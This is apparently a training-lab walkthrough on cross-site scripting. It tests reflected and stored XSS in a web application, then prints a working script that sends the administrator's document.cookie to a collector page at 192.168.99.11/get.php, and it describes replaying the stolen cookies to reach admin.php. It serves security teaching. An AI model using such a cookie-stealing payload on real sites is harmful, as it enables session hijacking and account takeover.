Lab11 - Cross Site Scripting
Lab11 - Cross Site Scripting
• Username: attacker
• Password: attacker
Moreover, we created another web page in the lab for your convenience. You can use it to
receive stolen cookies! You can find it at http://192.168.99.11/get.php : it takes all
parameters passed via GET and stores them into the jar.txt file
Note that this page is not the target of your security tests.
The administrator visits the application every few minutes. The final goal of the lab is to
steal the administrator cookies via XSS. Once you have these cookies you should be able to
access the content of the page admin.php.
The best tool for this lab is your brain, but you may also need a web browser.
You should have found a vulnerable injection point in the previous step. Use it to steal the
administrator cookies and then install the cookies in your browser!
If you use the administrator cookies you will be able to access the content of the admin.php
page.
Since the page returns our input, we can now verify if it sanitized.
As you can see, the form uses a POST method; indeed, we can see that the URL does not
contain any parameter. This means that we can test if the page is vulnerable to XSS by
typing our payload in the search form (instead of typing it in the address bar of our web
browser) and execute our search.
One of the first payloads we can use is an HTML tag. If this works, it means that it is
interpreted by the web application. So let us try to use the <h1> Test XSS </h1> HTML
payload and see what happens:
Let us now check if javascript code can be injected too. To do this let us use the following
payload: <script> alert('XSS') </script>
As we can see, the payload works and an alert box appears. This means that the form is
vulnerable to Reflected XSS.
As we can see in the following screenshots, if we run the same tests run before, we can see
that the "subject" field is injectable.
From the previous screenshot, we can say that the parameter is vulnerable to Stored XSS!
With this information, we can try to exploit the stored XSS in order to steal the
administrator session cookies and then authenticate ourselves with those.
We need a web page that is able to retrieve and store those cookies. Instead of running one
on our machine, we can use the web page hosted at the address http://192.168.99.11 (read
the lab description to see how this works). Note that we have created this page for your
convenience and that in a real situation you’d need to have this page on your server.
So let us create our payload and see if we are able to steal some cookies. To do this we can
use a payload similar to the following:
<script>
var i = new Image();
i.src="http://192.168.99.11/get.php?cookies="+document.cookie;
</script>
After we insert the previous payload, we just have to wait few minutes until the admin
opens the contacts page. The script will run and steal the cookies.
As we can see in the above screenshot we have few cookies stored in the file. Let’s now
replace our cookies with one of the above and try to open the page admin.php.